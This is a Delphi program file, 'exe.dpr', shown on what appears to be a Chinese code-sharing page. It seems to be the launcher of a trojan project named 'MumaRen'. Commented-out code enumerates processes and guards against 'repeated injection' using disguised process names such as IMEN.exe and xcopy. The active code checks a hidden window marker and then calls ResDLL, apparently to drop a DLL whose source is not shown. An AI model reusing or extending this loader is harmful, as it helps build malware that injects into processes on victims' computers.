📄 exe.dpr
字号:
program EXE;
uses
Windows, Messages,
tlhelp32,
DLL in 'DLL.pas',
Timer in 'Timer.pas';
{$R ver.res}
var
PDXcopy:string;
const
sFileMap = 'wFileMap_MumaRen'; // 内存映射文件
//把字符串全转化为大写 以进行比较
function UpperCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'a') and (Ch <= 'z') then Dec(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
{procedure GetMyProcessID(const AFilename: string; const PathMatch: Boolean; var ProcessID: DWORD);
var
lppe: TProcessEntry32;
SsHandle: Thandle;
FoundAProc, FoundOK: boolean;
X:pchar;
begin
ProcessID :=0;
// 创建系统快照
SsHandle := CreateToolHelp32SnapShot(TH32CS_SnapProcess, 0);
// 取得快照中的第一个进程
// 一定要设置结构的大小,否则将返回False
lppe.dwSize := sizeof(TProcessEntry32);
FoundAProc := Process32First(Sshandle, lppe);
while FoundAProc do
begin
// 进行匹配
if pos(uppercase(AFilename),uppercase(lppe.szExefile)) >0 then
begin
ProcessID := lppe.th32ProcessID;
break;
end;
// 未找到,继续下一个进程
FoundAProc := Process32Next(SsHandle, lppe);
end;
CloseHandle(SsHandle);
end; }
function ExtractFileName(const FullName: string): string;
var
P: Integer;
begin
P := Length(FullName);
while (P > 0) and (FullName[P] <> '\') and (FullName[P] <> ':') do Dec(P);
Result := Copy(FullName, P + 1, Length(FullName) - P);
end;
// 字符串比较(不区分大小写)
function CompareAnsiText(const S1, S2: string): Boolean;
begin
Result := CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, PChar(S1), -1, PChar(S2), -1) = 2;
end;
var
NameA,NameB,NameC,NameD:string;
Name1,Name2,Name3,Name4:string;
Msg: TMsg;
dwRemoteProcessIdA,dwRemoteProcessIdB,dwRemoteProcessIdC,dwRemoteProcessIdD: DWORD;
Buf:string;
ModuleFileName: array [0..MAX_PATH] of Char;
begin
{ Name1 := 'xcopy';
// Name2 := 'MS_dos.pif'; // 'Dlls.exe';
Name2 := 'IMEN.exe'; // IMEN.pif
// Name4 := 'Msmq.exe';
SetLength(Buf, 255); //千万不要忘了先给你的字符串申请足够的空间,不然……嘿嘿,等着弹框儿吧^_^
GetModuleFileName(0, PChar(Buf), 255);
//防止重复注入
if pos(UpperCase(Name1),UpperCase(Buf)) >0 then
begin
GetMyProcessID(Name2, False, dwRemoteProcessIDB);
// GetMyProcessID(Name3, False, dwRemoteProcessIDC);
// GetMyProcessID(Name4, False, dwRemoteProcessIDD);
if (dwRemoteProcessIDB <> 0) then
begin
halt;
end;
end;
if pos(UpperCase(Name2),UpperCase(Buf)) >0 then
begin
GetMyProcessID(Name1, False, dwRemoteProcessIDA);
// GetMyProcessID(Name2, False, dwRemoteProcessIDC);
// GetMyProcessID(Name4, False, dwRemoteProcessIDD);
if (dwRemoteProcessIDA <> 0)then
begin
halt;
end;
end;}
if (FindWindow('Edit', 'MumaRen') <> 0) then halt;
ResDLL;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -